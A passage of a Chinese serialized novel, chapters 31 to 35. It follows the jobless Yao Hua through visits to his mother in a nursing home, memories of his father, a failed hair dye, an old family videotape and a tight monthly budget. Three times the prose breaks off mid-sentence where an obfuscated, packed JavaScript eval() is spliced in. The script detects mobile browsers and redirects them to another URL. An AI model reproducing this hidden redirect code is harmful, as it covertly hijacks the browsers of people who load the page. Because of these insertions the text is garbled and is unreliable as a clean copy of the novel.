他走进雨里。雨点立刻劈头盖脸砸下来。鞋底很薄,是路边摊三十块一双的,花纹早磨平了,踩在水里,“啪嗒、啪嗒”地响,声音空空洞洞。这声音,像在给他这三十八年唯一确凿的现实——踩着点儿。一步,一分钱。一步,一声得挤出来的“妈,今儿好些不?”一步,一个悄悄删掉的、老同学问“在哪儿发财呢”的对话框。雨水流进眼里,视线糊成一片。就这样吧,像就像吧。像他自己,一个连躲雨都得算算时间、地方和五毛钱感情的、地地道道的底层。这角色,他不用演,台词早长在骨头里了,眼神里的累和算盘是现成的道具,连身上这股潮乎乎的闷气,都是最好的布景。本色出演,熟门熟路。雨更大了,世界只剩下哗哗的响声,和他的脚步声,一步一步,挪向公交站牌下那同样窄的、站满了“同类”的屋檐。铁幕外头,还是铁幕,只不过换了个湿漉漉的样,把他软软地、严严实实地裹住了。 31. 第三十一章 保险箱密码 养老院的保险柜蹲在楼梯拐角,灰头土脸的,像口铁棺材。管理员是个胖女人,裤腰带上拴一大串钥匙,走起路来哗啦哗啦,跟赶骡子似的。她接过姚华的身份证,对着光瞅了又瞅,仿佛那照片是假的,才慢吞吞捅开锁。“三〇七格子,自己拿。” 柜门一开,一股旧纸头混着樟脑丸的味儿扑面而来。格里就一个蓝布袋,瘪的,像饿了好几天的肚皮。 姚华捏着布袋回屋。张玉芬正用她那不大利索的左手摆弄扑克牌,牌老往下溜,她就用胳膊肘压着,压不住,再一张张捡起来——这牌局,从开局就透着勉强。 “拿来了?”她没抬头。 “拿来了。”姚华把布袋搁床头柜上,“妈,这里头是金条吧?” 张玉芬总算把四张A码齐了,嘴角扯了扯:“金条?穷骨头倒有几根。你自己瞅。” 姚华解开抽绳。先滑出来一本存折,深红皮儿,农业银行的,四个角都磨白了,卷了毛边。翻到最后一页,打印的数字是:37,286.14。墨水淡得快没了,像这笔钱自己也觉得没脸见人。 “三万七,”张玉芬瞟了一眼,“你爸下岗那年,觉着够花一辈子了。”她停了停,鼻子里哼出一股短促的气,“后来他才琢磨过来,他那脑子,算得清进项,算不清出项。一辈子就聪明了那一回,还使错了地方。” 最后是个硬塑料皮的小本。红彤彤的,印着金字:三好学生证书。姚华翻开,里头贴着一张一寸黑白照片。小男孩穿着件大一号的白衬衫,头发用水抹得过于服帖,嘴角使劲往上咧,眼睛却怯生生地瞟向镜头外边,好像在等谁发颗糖。评定栏里写着:姚华同学,在一九九二至一九九三学年度,被评为三好学生。底下是校长签名,龙飞凤舞,谁也认不得,只认得那个圆圆的红章。 塑料皮早已裂了缝,照片边儿也蜷了起来。 “你二年级得的。”张玉芬不知何时转过了脸,目光落在那小脸上,“拿回家那天,你爸破天荒没喝醉。捧着看了半晌,蹦出一句:‘像你姥爷,卖果子的命,偏要充读书人。’” 姚华用指头抹了抹照片上那张小脸。凉的,没一点热乎气。 “我跟他吵,”张玉芬说得很淡,像在说隔壁老王家的事,“我说我儿子将来坐办公室,风吹不着雨淋不着。他说:‘办公室?他得有那命。’” “后来呢?”姚华听见自己问。话一出口,就觉得多余。 “后来他就喝酒去了。我把这证书塞箱底,想着等你真坐上办公室了,再拿出来臊他。”张玉芬叹了口气,那口气很长,很轻,像要把这些年的什么东西彻底吐出来,“结果,办公室你是坐上了,头发也坐白了。” 姚华看着证书,忽然觉得有点滑稽。他这辈子得的第一个奖,也是最后一个,像个早早埋下的伏笔——预示着他后来得学会给母亲打流食,得学会跟殡仪馆讨价还价,得学会在招聘网站上年齡栏里填上数字然后发呆。 “妈,”他把证书合上,塑料皮“啪”地轻轻一响,“您留这干啥,占地方。” “占啥地方?一个本子能占多大地方。”张玉芬用左手把扑克牌拢到一块,又开始笨拙地洗,牌哗啦哗啦,像在诉说什么,“我就是想留个念想。念想你小时候,还挺爱笑。” 姚华愣住了。他使劲往回找,记忆里的自己总是在怕,在躲,在算计明天会不会更糟。笑?那太奢侈了,像存折上那个永远羞涩的数字。 “我爱笑吗?”他喃喃地,像问自己,也像问那本证书。 “爱笑。”张玉芬很肯定,抽出一张大王,小丑的脸笑得没心没肺,“后来就不爱笑了。大概是你爸把电视机砸了那回之后?记不清了。人老了,坏事儿记得门儿清,好事儿……就像这牌,洗着洗着,就掺和乱了,分不清哪张是先,哪张是后。” 屋里静下来,只有扑克牌单调的窸窣声。窗户外头,干槐树枝划拉着玻璃,吱嘎吱嘎,听着都剌耳朵。 “钱,你拿走。”张玉芬朝存折努努嘴,“证书……”她顿了一下,像在掂量这个词的分量,“证书你想留就留,不想留,扔了也行。就是个纸片子。” “妈,”他系好抽绳,抬起头,“您说,我爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119438|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当年要是没选买断工龄,选了按月领钱,现在会不会不一样?” 张玉芬洗牌的手停了。她看着儿子,看了好一会儿,那眼神复杂得很,有怜,有无奈,更多的是早早就躺平认输了的累。 “华子,”她慢慢地说,一个字一个字往外挤,“你爸那个脑子,不是算不清那笔账。他是算得太清楚了——他算清楚了两万块能买多少瓶酒,算清楚了按月领的那一两百不够他喝痛快。他就是没算,或者说,压根不愿算,这两万块喝光以后,日子还过不过。酒是现的,日子是远的,他这人,向来只图现的。” 她把那张大王轻轻放在姚华手边。小丑咧开的嘴在昏黄光线下,笑得有点诡异,像在嘲弄什么。 “你跟你爸不一样。你算得清账,算得清养老院一天合多少钱,算得清你卡里那点余钱还能撑几个月。”张玉芬的声音低下去,像沉进了旧棉絮里,“可有些账,越算越糊涂。人这辈子,拨拉来拨拉去,到头来就是一本糊涂账。越精明,越糊涂。” 姚华捏起那张大王。硬纸板边儿毛毛糙糙的,硌着手指头。 他最后把蓝布袋塞进自己带来的帆布包里。存折、合同、证书,三样轻飘飘又沉甸甸的旧物,和饭盒、钥匙、手机挤在一块,谁也不挨着谁。拉上拉链的时候,他想,这大概就是他这些年的全部家当了——由几张破旧的凭证、几串冰冷的数字、一张早已模糊的笑脸,和许多永远算不明白的烂账,胡乱地塞在同一个不起眼的袋子里,鼓鼓囊囊,却又空落落的。 “走了,妈。下礼拜再来。”他站起来,觉得腿有点沉。 “慢点走。”张玉芬继续摆弄她那永远理不顺的牌,没抬头,“外头风大,把你那白头发掖掖,别跟个小老头似的。” 姚华走到门口,回头看了一眼。母亲低着头,侧影嵌在灰蒙蒙的窗框里,像一张搁旧了的剪纸。她左手捏着牌,右手无力地垂着,整个人看上去,也像一张被生活洗了太多遍、边缘已经起毛的牌。 他轻轻带上门。走廊很长,脚步声回响,嗒,嗒,嗒,像另一种嘀嘀咕咕的算账声。 32. 第三十二章 白发记 染发剂是从网上买的。网站名字记不住,只记得三十九块九,还包邮。广告词写得敞亮:“一夜还你青春”。姚华对着卫生间的镜子,把那膏子往头上抹。手生,抹得深一块浅一块,不像染头,倒像粉刷匠和泥。说明书上印了个模特,笑出一口晃眼的白牙,旁边一行小字:停留二十分钟。 刚抹匀,头皮就开始刺挠。不是疼,是痒,像有蚂蚁排着队游行。这感觉让他忽然想起他爹,姚建国。那年月,他爹蹲在门槛上,拿旧牙刷蘸着黑鞋油,刷那双张了嘴的鞋。刷完了,举到亮处瞅,自言自语:“嘿,跟新的不差!”那鞋油的臭味儿,能在屋里盘桓三天不散。如今姚华懂了,爹当年染的不是鞋,是那看不见、却硌得人脚疼的日子。 二十分钟到。他拧开花洒,黑水顺着额角、鼻梁、下巴往下淌,流进眼里,蛰得他“嘶”一声。忙抬头照镜子,却愣住了——头顶是片乌糟糟的黑灰,发根那儿却顽强地白着一圈,像特意撒了层盐末子。他又冲又搓,那白反倒更显眼了,在黑灰的衬托下,理直气壮,熠熠生辉。 “妈的,”他对镜子里的自己说,“还我青春?青春没见着,倒还我个阴阳头。” 没辙,第二天去了楼下快剪店。理发师是个小年轻,耳朵上一排窟窿眼,正嚼着口香糖,瞥他一眼:“叔,咋整?” 姚华指指脑袋:“染坏了,瞧见没?” 小年轻拨拉两下他的头发,吹出个泡泡,“啪”地破了。“叔,不是我说,您这白头发,少说占六成。再上颜色也盖不住,药水还烧头皮。依我看,不如剪短,利索。” 姚华盯着镜中人。眼袋松垮着,法令纹像用刻刀犁出来的,头发黑白驳杂,像幅画废了又没扔的草稿。 “多短算短?” “寸头。”小年轻比划一下,又补充,“或者,索性刮光,最省心。” 姚华又想起他爹。姚建国晚年头发稀疏,索性剃了光头。夏天太阳一照,反光;冬天就扣顶破毡帽。邻居家小孩追着喊“灯泡”,他爹拎着扫帚疙瘩撵,跑不出两步就喘成风箱。 “就寸头吧。”姚华说。 电推子嗡嗡作响,黑白相间的发茬簌簌落下,在围布上积了薄薄一层。他看着镜子里自己的脑袋一点点变小,变圆,露出青色的头皮。原来这一脑袋头发,就是个幔子。幔子一撤,底下的真相全露了:颅骨的形状,额角的旧疤,太阳穴上那根不安分跳动的青筋。 “得嘞。”小年轻掸掉碎发,把镜子递到他脑后,“瞧瞧,年轻十岁不敢说,五六岁总有。” 镜子里是个陌生的男人。头皮泛青,剪短后的白发茬一根根挺着,更扎眼了,像收割后麦地里落的寒霜。年轻?姚华心里哼了一声。就这模样,说五十那是人家客气。 周末去养老院,张玉芬正被护工推着在走廊里晒日头。轮椅轧过地砖,咯噔,咯噔,慢吞吞的。老太太眯着眼,直到姚华走到跟前,遮了光,她才慢慢聚焦。 看了好一会儿,她嘴唇动了动,吐出三个字:“像你姥爷。” 姚华没听真,弯下腰:“妈,说啥?” “像你姥爷。”张玉芬抬起不太利索的左手,做了个抹头顶的姿势,“他也是这脑袋,头发少,白得早。” 姚华拽了把椅子坐下。阳光透过大玻璃窗,把走廊切成明明暗暗的方格子。护工见状,悄没声走开了。 “我姥爷……不是卖水果的么?”在姚华所有的记忆碎片里,姥爷就这一个标签。 “是,卖水果的。”张玉芬望着窗外,那儿有几只麻雀在啄食,“解放前自己挑担子走街串巷,解放后进了合作社,还是卖水果。一辈子,就跟烂梨瘪枣打交道。” 她停了很久,久到姚华以为她睡着了。走廊尽头传来电视机的声响,咿咿呀呀,像是唱戏。 “六几年,闹得最凶那阵,”张玉芬忽然又开口,声音平得像晒干了的河床,“来抄摊子,说他‘投机倒把’。一筐梨全给掀地上,脚上去踩,稀烂。你姥爷就蹲在那儿,一个一个捡,手哆嗦得呀。” 姚华脑子里浮现出画面:一个头发花白的瘦老头,在泥污里扒拉破碎的果子。 “捡完了,端回家,打盆清水,把那些没烂透心的挑出来,洗了又洗。”张玉芬那只左手无意识地摩挲着轮椅扶手,“晚上,把我们六个叫到跟前。你猜他怎么分?” 姚华摇摇头。 “他把梨切成两半,好的那半边,给小的;烂了半边但还能啃的,给大的。”张玉芬嘴角扯了一下,不知道算不算笑,“他说:‘囫囵个儿的给小的,他们路长。烂点儿的给大的,你们牙口硬,啃得动。’” 她转过脸,看着姚华:“我分到半个烂梨。有个虫眼,我偷偷抠了。” 阳光这时移到她脸上,那些皱纹像极了干涸土地上的裂隙。 “你姥爷活到七十三,走的时候头发全白了,可没掉光。”张玉芬说,“他老讲,头发白不怕,怕的是没东西可白。意思是,得活到该白头的岁数。” 姚华摸了摸自己刺手的寸头。 “妈,”他问,“那我姥爷……他觉得他那辈子,算活够本了么?” 张玉芬又望向窗外。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119439|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻雀飞走了,留下一地空寂。 “他没说过。”她慢悠悠地说,“就跟我说过一回。我出嫁前一晚,他喝了点儿酒,说:‘芬啊,爹对不住你,没给你攒下啥像样的。’我说我有手有脚,饿不死。他摸了摸自己白头发,笑了,说:‘也是。头发白了,人还没傻,就算赚了。’” 走廊里响起送饭车的轱辘声,午饭时间到了。 护工走过来,要给张玉芬系围兜。姚华站起来:“我来吧。” 他蹲下身,把塑料围兜轻轻套在母亲脖子上。手指碰到她颈后的皮肤,松的,薄的,能清晰地摸到骨头的形状。 “妈,”他系着带子,声音有点发闷,“我这儿头发……是不是白得太早了点儿?” 张玉芬低下头,看着儿子的青头皮,看了好一会儿。阳光给她花白的头发镀了层淡金色。 “早啥?”她说,语气平常得像在议论天气,“该白的时候,它自己就白了。你姥爷卖了一辈子烂梨,头发白了。你爹喝了一辈子酒,头发也白了。你……” 她顿住了,抬起那只不太灵便的左手,很轻、很轻地碰了碰姚华的头顶。那动作小心翼翼的,像在碰一件易碎的瓷器。 “你看了那么些书,写了那么些字,头发白几根,不冤。” 姚华蹲在那儿,没动弹。围兜的塑料边蹭着他的手背,窸窸窣窣地响。 送饭车推到门口。今天的菜是西红柿炒鸡蛋、红烧豆腐,味儿飘过来,温吞吞的,像所有养老院的午饭一样,挑不出大错,也留不下什么印象。 “吃饭吧。”姚华站起身。 他推着轮椅往房间走。走廊很长,两边是一扇扇闭着的门,门上的小窗玻璃映出他们移动的影子:一个坐着的白发老太太,一个推车的寸头中年人。阳光把影子拉长,压短,再拉长,玩着一种单调又持久的游戏。 进门前,张玉芬忽然说:“下回来,别染了。白就白着,像你姥爷,挺好。” 姚华“嗯”了一声。他把母亲推到餐桌边,固定好轮椅刹车。饭盒里的红烧豆腐,红油微微荡漾,映出头顶日光灯管模糊的影儿。 他坐下,拿起勺子。不锈钢勺面上,扭曲地照出他的脸:寸头,白发,眼角皱纹盘根错节。 他舀起一勺豆腐,送进嘴里。咸了。 但还能吃。他想。烂梨都能啃,咸豆腐算个啥。 窗外,那群麻雀又飞回来了,在光秃秃的枝桠上跳来跳去,啄着看不见的什么东西。它们灰扑扑的羽毛,在冬日稀薄的阳光里,也分不清是本来的颜色,还是沾了尘。 33. 第三十三章 旧物考古 录像带是从壁橱底下刨出来的。裹着个羊毛衫袋子——羊毛衫早没了,袋子倒活得挺结实。外头还包着床单,牡丹花,红配绿,一看就是九十年代的脾气。一层层剥开,跟剥腌久了的洋葱似的,辣眼睛。最后露出个黑塑料盒子,脊梁上贴了截胶布,圆珠笔写着“华子百天”。墨水洇了,“子”字那一横拖得老长,晕开一小滩,像滴没擦干净的眼泪。 姚华对着盒子发了会儿呆。这年头谁还有机器看这个?他在小区闲置群里问了声。有个专收老电影的中年人回话:“我这儿有,还能转,你来拿。” 机器是松下的,死沉。插头是黑圆头,老样式。接上电视,先是一片雪花点,滋滋啦啦,听得人牙根发软。按下播放键,机器里头呼噜呼噜响了一阵,像老头咳不完的痰。 雪花跳了几下,画面突然蹦出来了。 黑白的,颗粒粗得能当砂纸用。可也能看清:银行筒子楼的水泥墙,墙上糊的旧报纸,一角已经耷拉了。张玉芬坐在藤椅里,抱着个襁褓。那时候她头发真黑,编两条粗辫子,垂在胸前。脸上还有些圆润的弧度,冲着镜头笑,笑得有点僵,像是不知道脸该怎么摆。 她轻轻晃着怀里的包袱,嘴里哼着调。听不清,只有录像带沙沙的噪音,刮耳朵。 然后,画外一个年轻男人的声音,带点北地口音,想装轻松,却绷得紧:“笑一个!华子,给爸笑一个!” 是姚建国的声儿。比姚华记得的任何一次都清楚,都……正常。没有酒后含混的黏糊,也没有暴怒时撕扯的哑,就只是个寻常的、有点笨的年轻父亲。 镜头往前凑了凑。襁褓里露出一张小脸,皱的,眼闭着。 “嘿,这小子,不给面子!”画外音笑着骂了一句。 张玉芬低下头,鼻尖蹭了蹭婴儿的额头,抬眼对镜头说:“他才多大,懂什么叫笑。”语气是软的,掺着刚当妈的羞涩和一点浅淡的欢喜。 画面真静,静得姚华有点晕。这不是他认识的父母——是年轻的、平整的、眼睛里还能看见亮光的父母。 忽然,镜头猛晃起来,天旋地转。电视里传出张玉芬短促的“哎呀!”紧接着是“砰”的一记闷响,像什么东西摔地上了。画面瞬间糊成一团,只剩乱七八糟的色块和影子,里头夹着男人含糊的嘟囔和什么物件被踢到的声音。 记录断了。 屏幕又回到雪花,滋滋响。 姚华在沙发上没动。手里的遥控器有点潮。 大概过了十几秒,雪花没了。画面又来了,可内容全变了。 镜头像是被固定在了什么地方,低低的,对准了一片水泥地。筒子楼公共走廊的地,坑坑洼洼,留着年深月久的污渍。画面一动不动,就那么直愣愣地对着那片地。 偶尔,一双穿塑料凉鞋的脚走过,女人的,很快挪出画面。过一会儿,几只鸡爪子似的小孩脚跑过,追着,也消失了。大部分时候,画面就是死的,只有光在极慢地挪,告诉你时间还没停。 姚华瞥了眼播放器上的计时。这段静止,足足三十分钟。 他就那么坐着,看完了三十分钟的水泥地。看日头从画面左边慢慢爬到右边,在地面上拉出瘦长的、歪斜的光斑,又慢慢缩回去,没了。看一只壁虎悄没声地爬过,停在某条缝前,吐了吐信子,又爬走了。看一粒灰,或是小虫,在光柱里浮沉,起起落落。 没有声音。只有机器读带时低微的嗡鸣,和窗外偶尔漏进来的车声。 三十分钟到了。屏幕一黑,播完了。机器自己把带子吐出来,“咔哒”一声轻响。 屋里真静。姚华没去关电视,也没去取带子。他盯着已经漆黑的屏幕,那里面映出他自己模糊的影,还有身后客厅家具的轮廓。 不知过了多久,他拿起手机,给借机器的邻居发消息:“看完了。机器怎么还你?” 对方回得快:“怎么样?老带子,有年头了吧?瞧见小时候的自己了?” 姚 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姚华用拇指蹭了蹭那只米老鼠。贴画边角已经卷起,颜色淡得快要看不见。 他想,这大概就是他这辈子最早的注脚了:一段短而模糊的暖和,一次突然的颠簸和折断,接着是漫长的、对着粗糙地面的、一言不发的看。 他把带子重新塞进塑料袋,裹回那床牡丹花床单里。床单上的牡丹开得正疯,大红大绿,是那个年代特有的、不管不顾的喜庆。 裹好,推回壁橱最深处。 带上壁橱门时,他好像又听见带子里,父亲那句带着笑意的催: “笑一个!华子,给爸笑一个!” 电视屏幕早就灭了,黑沉沉的,像口深井,吞掉了所有响动和光影。只有窗外城市的夜光,从没拉严的窗帘缝挤进来,在地板上切出一道冷清的、细长的白,像那片水泥地上,曾经停过又走掉的、不说话的光痕。 34. 第三十四章 平静的公式 账本快写满了。算式摞算式,涂改叠涂改,箭头七拐八绕,像心里那点弯弯肠子具了形。姚华翻开新的一页,用孩子美术班捡的半截红彩铅,在顶头工工整整地写: 月支出 ≤ (存款利息 + 失业保险金 + 零工收入) 他盯着,像盯一道符。等号那道横,描得又黑又粗,带着股斩钉截铁的狠劲。其实他门儿清:生活这潭水,哪能这么一斧子劈开,左是左,右是右? 存款利息得算。几张存单几张卡,活期定期,外加一个绑着保险、上限三十五万的理财。加一遍,减一遍,计算器按了三回,三回数目都对不上。最后取个中间数,四百二。想起爹当年下岗,买断工龄拿了两万。那钱要是存到今天,利息够买瓶像样的酒不?够呛。怕是连瓶盖都撬不开。 失业保险金,每月一千六。这钱来得比上班还准,每月准时到账,像份薪水,专为提醒你:你是个登记在册的“失业人口”。听说有人能领足两年,他默默一算,七百多天。自己那份,已划掉不少了。 零工收入是没谱的。帮人校稿,千字十块;朋友介绍写软文,一篇三百;上月在超市门口帮人扫码,站一天,八十。这些零零碎碎,记在一个小学生田字格本上。月底加起来,有时能上千,有时就五六百。这个月算走运,以前一个客户找来,维护个早没人用的老网站,给了八百。三样归拢一块:二千八百二。 支出那边倒清爽。房贷扣掉公积金,还得补一千出头;水电煤气电话网,三四百;吃饭尽量自己做,八百以内;母亲的养老院,有她的退休金和长护险,窟窿暂时轮不着他填。杂七杂八一加,总支出:二千七百六。 他瞅瞅左边,又瞅瞅右边。左边进项:二千八百二;右边出项:二千七百六。中间隔着那条描粗了的“≤”。 齐了。 左边比右边多出六十整。 姚华撂下笔,身子往后一仰。窗外是2023年冬天,天灰得像个旧锅底,树枝子胡乱划拉,没个章法。他心里没起高兴,也没觉轻松,只是空落落的,有种奇怪的稳当。像走钢丝的人,晃悠到了正当中,往下看是空的,往前望,两头都还远。 多出这六十块能干啥?头一个念头是存着,防备下个月公式不成立。转念一想,太憋屈。公式头一回两边对上,总该有点响动。 他披上外套,去了附近的老市场。里头气味浑浑浊浊,生肉、鱼腥、廉价香料搅和成一团。走到卖毛线的摊子前,他站住了。摊主是个脸红扑扑的大妈,手里织着东西,针脚快得让人眼花。 “买毛线?自己打还是送人?”大妈嗓门敞亮。 “看看围巾。”姚华说。 “围巾好,暖和。给对象买?”大妈瞄了瞄他花白的寸头。 “给……我妈。”姚华说。 “孝子啊!”大妈立马从底下抽出几条织好的,“藏青,稳重!米白,干净!格子的,洋气!” 姚华看了看,手却指向挂在一旁最显眼处:“那个橘的……多少钱?” 大妈怔了下,扯下那条橘得扎眼、近乎晃眼的围巾:“这个?小年轻买得多,鲜亮!你妈……高寿了?” “七十多了。” “七十多戴这个?”大妈咂咂嘴,“大兄弟,不是我多嘴,这色太艳了,老太太压不住。这条酒红的好,暗红,喜气又不乍眼,最合老人家。” 姚华摸了摸那条橘围巾。毛线软,蓬蓬的,颜色是那种不管不顾的橘,像熟透的橘子,在这灰扑扑的市场里,有点格格不入。 “就这个。多少钱?” “三十五。”大妈报了价,还不死心,“真不看酒红的?一样价。” “就它了。” 付了钱,塑料袋装着橘围巾走出市场,冷风一灌,姚华才觉出自己这举动有点傻。母亲一辈子节省,衣裳不是灰就是蓝,顶艳也就一件暗紫毛衣。这条围巾,到她眼里,怕是胡闹。 周末去养老院。张玉芬坐在活动室窗边,看外头几个老头慢悠悠打太极。姚华把塑料袋递过去。 “买了条围巾,天冷了。” 张玉芬接过来,掏出那条橘围巾,展开,眉毛动了动。 “这颜色……”她停了停,把围巾举到眼前看看,又贴脸上蹭蹭,“跟团火似的。” “不喜欢?”姚华问,心里预备着听“瞎花钱”、“不会买”这些词儿。 张玉芬没直接答。她把围巾绕脖子上,笨拙地打了个结。橘色衬着她满头的白和脸上的褶,对比得有点扎眼。 “像不像……”她转过头问姚华,“像不像你姥爷水果摊上,那种熟透了、甜得发慌、快烂了才肯便宜卖的橘子?” 姚华没料到母亲这么比。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119441|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “太艳了。”张玉芬又说,手指捻着围巾穗子,“我这么个老太婆,戴出去,人家当是老妖精。” “那摘了吧。”姚华伸手。 “摘什么摘,”张玉芬挡开他手,把围巾又裹紧些,“买了就戴着。倒是暖和。” 打那以后,每次姚华去,都看见母亲戴着那条橘围巾。食堂吃饭戴着,走廊晒太阳戴着,屋里看电视也戴着。围巾成了她身上最显眼的一样东西,显眼得有点倔,像用这法子,跟养老院里四处弥漫的灰白与安静,暗暗较着劲。 几天后的一个下午,姚华手机震了一下。护工小赵发来微信,没字,就一张照片。 点开。午后太阳斜斜照进走廊,在地上切出明亮的光块。张玉芬歪在轮椅里,睡着了。头侧向一边,嘴微微张着,白发有点乱。身上盖着养老院的薄毯,但脖子上,那条橘围巾还系着,扎眼。 照片是从侧后拍的。围巾长,一头绕在母亲脖子上,一头垂下来,搭着轮椅扶手,又往下,够到地面。毛线软塌塌的,在阳光里泛着层毛茸茸的光。垂下的那截,正好在轮椅影子的边边上,又被一小块光打着,像一道桥,软的,连着睡着的老人和冰凉的地。 小赵又发来一条字:“张姨今天睡得好香。围巾颜色真好看[笑脸]。” 姚华放大照片,看着那垂下的橘围巾。它松松地、没筋没骨地耷拉着,上头连着母亲安睡的脖子,下头轻轻点着地。 像一截脐带。 这念头冒出来,他心里咯噔一下。脐带,供着养分,也是牵绊;是打头连着的凭据,终了也是要断的。 他盯着照片看,直到屏幕暗下去。公式算是平了,多出的六十块变了条围巾。围巾暖和,颜色扎眼,像灰扑扑的算式里,一个突然蹦出来的活数。它缠在母亲衰老的脖颈上,一头系着温热,另一头,静悄悄地,朝地面垂下去。 他关上手机,走到窗边。外头暮色合下来了,城里的灯一盏一盏亮起来。每盏灯底下,大概都在演算着自己的公式。有的左边比右边阔出去一大截,有的右边死死压着左边,叫人喘不过气。他的公式,刚刚取得了一丁点儿、暂时的平衡,左边刚好多出来那么一丝丝。 就靠着这一丝丝,他给母亲买了条橘围巾。母亲戴着它,在太阳底下睡着了。围巾的一角垂下来,像道温柔的算式,静静写在冬天的黄昏里。 35. 第三十五 行走的遗产 寄存处的管理员,又换了。这回是个年轻小伙,制服大得能装下俩他,肩膀那塌下去一块,像让谁抽了骨头。他正盯着手机,外放的短视频一阵阵爆笑,嘎嘎的,像被人掐着脖子的鸭子。姚华敲了敲玻璃窗,笑声停了停,小伙子的眼皮从屏幕上抬起来一半,喉结动了动:“办啥?” “续费。骨灰寄存。”姚华把单据和身份证从窗底下那条掉了漆的缝里塞进去,动作熟得跟递棵白菜似的。 小伙子接过去,一只手在键盘上噼里啪啦,眼角的余光还钩在屏幕上。“姚建国……307格。一年一百二,现钱。” 姚华数出钱,递进去。小伙子扯了张收据,连同一支缠着胶布、仿佛得了静脉曲张的圆珠笔推出来:“名儿签这儿。自己进去吧,老规矩,最里面那排。”话没说完,眼神又跌回屏幕上,那鸭子又开始嘎嘎笑了。 走廊是真长。顶上的日光灯管嗡嗡响,像一群赶不走的苍蝇。光打下来,是惨白的一层,敷在两边密密麻麻的格子柜上,冷冰冰的,像进了档案室。每个格子上都贴着照片,笑的,不笑的,更多是没表情的。空气里有股子味儿,香烛的腻歪混着灰尘的干巴,还有点儿别的,说不清,像日子搁久了捂出来的馊气。 他找到307格。父亲那张一寸黑白照嵌在玻璃后面,是很多年前的了。头发还密着,嘴角抿得紧,眼神望着镜头外边,不知在看啥,也看不出是高兴还是不高兴——好像他这辈子,也没给谁留下过“高兴”的明确证据。照片底下,生卒年月是手写的,墨水淡了,洇开些毛边,像被水浸过的人生,总也清晰不了。 他蹲下身,布袋里掏出个透明塑料袋,里面是街口买的驴打滚,软趴趴挤在一起,没了形。父亲以前喝多了,舌头打结的时候,偶尔会念叨这个,像念叨一个失散多年的亲戚。他把点心袋子放在格子前的水磨石地上。又摸出三支细香,就着走廊尽头那盏长明灯的火苗点上,青烟细细地、犹豫地升起来,插进底下那个积了厚灰、几乎看不出本色的小碟里。那烟味儿冲一冲,周围的陈腐气好像被挤开一条缝,随即又合拢了。 他没立刻走。腿蹲得有点麻,目光就滑到了旁边的格子上。306格,照片上是个老太太,圆脸,卷头发,笑得眼睛没了缝,看着挺暖和。底下写着:郭茹芬,1925-2008。 “笑得倒是痛快。”姚华心里动了一下。他想起母亲张玉芬,她留下的“百天”录像带里也有笑,可那是努力扯出来的,底下垫着一层生涩,像没发好的面。不像这位,笑是敞开来的,好像一辈子没攒下什么愁事,或者,愁事都让她笑过去了。 又待了一小会儿,他撑着膝盖站起来,骨节咔吧响了一声。最后看了一眼玻璃后面。父亲还是那样,沉默着,跟他记忆里大多数时候,严丝合缝。这种严丝合缝,本身就是一种判决。 走出殡仪馆大门,下午的太阳光白花花地劈下来,晃眼,像一把钝刀子。路边蹲着几个等活的黑车司机,烟叼在嘴里,看见他,懒洋洋地扬了扬下巴:“走不?市区,便宜。”那口气不像拉客,倒像施舍。 姚华摇了摇头。他本该去马路对面,挤公交,再倒地铁,吭哧吭哧一个多钟头才能回去。可今天,看着眼前中环线上淌成河的车,看着光柱里上下翻飞、不知归宿的尘土,他脑子里忽然冒出个念头,清清楚楚的,像有人在他耳边念了一句: 走回去。 这念头没来由,却扎了根。他想起父亲,姚建国。老爷子一辈子,自行车没骑过,公交车没坐过,地铁更别提。他去哪儿,全靠走。年轻时走去包子铺上班,下岗了走去北站拉活儿,老了走去小卖部打酒。他活着的那个圈,就是他两只脚一步一步量出来的,半径不大,画得却深。 “那就走走看。”姚华对自己说,像是接下了一个没头没尾的挑战。他把装香灰的塑料袋团了团,塞进外套口袋,又把肩上那个洗得发白、边角起毛的帆布包带子拽了拽,迈开了腿。 沿着中环线辅路,往西。第一个路过的是北站旧址。老火车站早搬了,那气派的候车大厅拆得连砖头都不剩,原地杵起几栋玻璃楼,亮闪闪的,看不出是干啥的,反正跟老百姓赶火车没关系了。楼前一大片空地,划着白线,成了收费停车场。几辆车没精打采地趴在那儿,像些吃撑了的甲虫。姚华站住了看,想从那片空荡荡的水泥地上,抠出父亲当年的影子——瞪着一辆除了铃不响哪儿都响的破三轮,守在出站口,见着扛大包小包的人就凑上去,喉结动一下,声音从喉咙深处挤出来:“师傅,拉点儿东西?”风吹,日头晒,一天下来,兜里能落下几个叮当响的钢镚儿?现在,连这点影子也没处寻了。只有收费亭里,另一个百无聊赖的人,在玩手机,屏幕的光映在他脸上,也是一片空白。 